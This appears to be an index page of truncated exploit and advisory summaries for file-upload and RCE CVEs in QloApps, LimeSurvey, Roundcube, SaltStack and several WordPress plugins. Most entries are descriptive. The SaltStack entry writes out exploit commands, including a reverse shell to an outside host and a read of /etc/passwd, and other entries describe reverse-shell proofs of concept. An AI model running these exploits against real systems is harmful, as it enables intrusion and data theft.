CVE-2025-67325

🚨 Unauthenticated Remote Code Execution RCE via File Upload 📌 Overview Project: QloApps Repository: https://github.com/Qloapps/QloApps Affected Versions: = 1.7.0 Vulnerability Class: Unauthenticated Remote Code Execution Severity: Critical CVSS v3.1: Critical 9.8...

CVE-2021-44967

CVE-2021-44967: LimeSurvey authenticated RCE Proof of concept for CVE-2021-44967. The script authenticates to LimeSurvey, uploads and activates a PHP plugin, and triggers a reverse shell. Use this only against systems you own or are authorized to test. Requirements Python 3 beautifulsoup4,...

covert-control

covert-control Controla sistemas de forma remota subiendo archivos a Google Drive, OneDrive, Youtube o Telegram usando Python para crear los archivos y los listeners. Permite crear archivos de texto, imágenes, audio o vídeos, con los comandos en texto claro o cifrados usando AES...

CVE-2025-49113_exploit_cookies

CVE-2025-49113 - Roundcube Webmail Remote Code Execution Vulnerability Technical Overview CVE-2025-49113 is a critical insecure deserialization vulnerability in Roundcube Webmail that enables authenticated remote code execution. The vulnerability stems from improper handling of serialized PHP...

CVE-2023-50564

CVE-2023-50564 CVE-2023-50564 is an RCE vulnerability in Pluck CMS v4.7.18. It is made possible through an arbitrary file upload vulnerability in the /inc/modulesinstall.php component allowing to execute arbitrary code by uploading a malicious .zip file. Usage Before running the exploit, the...

CVE-2025-6440

CVE-2025-6440 WooCommerce Designer Pro = 1.9.26 - Unauthenticated Arbitrary File Upload Description WooCommerce Designer Pro plugin for WordPress, used by the Pricom - Printing Company & Design Services WordPress theme, is vulnerable to arbitrary file uploads due to missing file type validation i...

CVE-2024-45427-Exploit

CVE-2024-45427 Exploit Generator This script generates a malicious Excel .xlsx file to exploit CVE-2024-45427 in PhpSpreadsheet library v3.7.0. It injects an XSS payload into the sheet name by manipulating the raw XML, bypassing standard library validation checks. Usage 1. Edit exploit.py and set...

CVE-2026-96227

The Piotnet Forms WordPress plugin through 1.0.30 does not authenticate or validate a form-submission file-upload request and permits browser-renderable file types to be stored, allowing unauthenticated attackers to store a file that executes arbitrary JavaScript in the site's origin when it is...

CVE-2026-104028

The Anton Extensions WordPress plugin through 1.2.2 does not perform any capability check, nonce verification, or file-type validation before writing attacker-supplied content to an attacker-chosen path, allowing unauthenticated attackers to upload arbitrary PHP files and achieve remote code...

CVE-2025-2005

CVE-2025-2005 — Front-End Users Arbitrary File Upload CVE-2025-2005 WordPress Front-End Users — Unauthenticated Arbitrary File Upload 0xZ3R0 // h4ckxel 0x00 — Executive Summary Front-End Users is affected by an unauthenticated arbitrary file upload vulnerability affecting versions ≤ 3.2.32. The...

CVE-2020-11652

SaltStack-Exp CVE-2020-11651 CVE-2020-11652 Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read /etc/passwd...

CVE-2026-93550 Veeqo for WooCommerce <= 2.2.8 - Subscriber+ Arbitrary File Upload via start_veeqo_connection_process

The Veeqo for WooCommerce WordPress plugin through 2.2.8 does not restrict who can trigger its remote bridge-installation process or validate the URL it is given before downloading and extracting it, allowing users with Subscriber-level access and above to make the Veeqo for WooCommerce WordPress...

CVE-2026-96227 Piotnet Forms <= 1.0.30 - Unauthenticated Stored XSS via File Upload

The Piotnet Forms WordPress plugin through 1.0.30 does not authenticate or validate a form-submission file-upload request and permits browser-renderable file types to be stored, allowing unauthenticated attackers to store a file that executes arbitrary JavaScript in the site's origin when it is...

EUVD-2026-96795

The Piotnet Forms WordPress plugin through 1.0.30 does not authenticate or validate a form-submission file-upload request and permits browser-renderable file types to be stored, allowing unauthenticated attackers to store a file that executes arbitrary JavaScript in the site's origin when it is...

CVE-2026-93550

The Veeqo for WooCommerce WordPress plugin (versions through 2.2.8 ) contains a vulnerability where it fails to restrict who can trigger its remote bridge-installation process. Additionally, the plugin does not validate the URL provided before downloading and extracting content. This allows users...

CVE-2026-96227

The Piotnet Forms WordPress plugin (versions through 1.0.30 ) is vulnerable to Stored Cross-Site Scripting (XSS) . The root cause is a failure to authenticate or validate form-submission file-upload requests, which allows unauthenticated attackers to store browser-renderable file types. Once stor...

EUVD-2026-96738

The Anton Extensions WordPress plugin through 1.2.2 does not perform any capability check, nonce verification, or file-type validation before writing attacker-supplied content to an attacker-chosen path, allowing unauthenticated attackers to upload arbitrary PHP files and achieve remote code...

CVE-2026-104028

The Anton Extensions WordPress plugin, in versions up to and including 1.2.2 , is vulnerable to an unauthenticated arbitrary file upload. The flaw exists because the plugin fails to perform capability checks , nonce verification , or file-type validation when writing attacker-supplied content to ...

CVE-2026-104028 Anton Extensions <= 1.2.2 - Unauthenticated Arbitrary File Upload to RCE

The Anton Extensions WordPress plugin through 1.2.2 does not perform any capability check, nonce verification, or file-type validation before writing attacker-supplied content to an attacker-chosen path, allowing unauthenticated attackers to upload arbitrary PHP files and achieve remote code...

CVE-2024-31835

CVE-2024-31835 Cross Site Scripting vulnerability in flatpress CMS Flatpress v1.3 allows a remote attacker to execute arbitrary code via a craftedpayload to the file name parameter. Affected Component: FlatPress CMS Admin Panel File Upload Field Fixed version: Flatpress v1.3 - will be fixed in...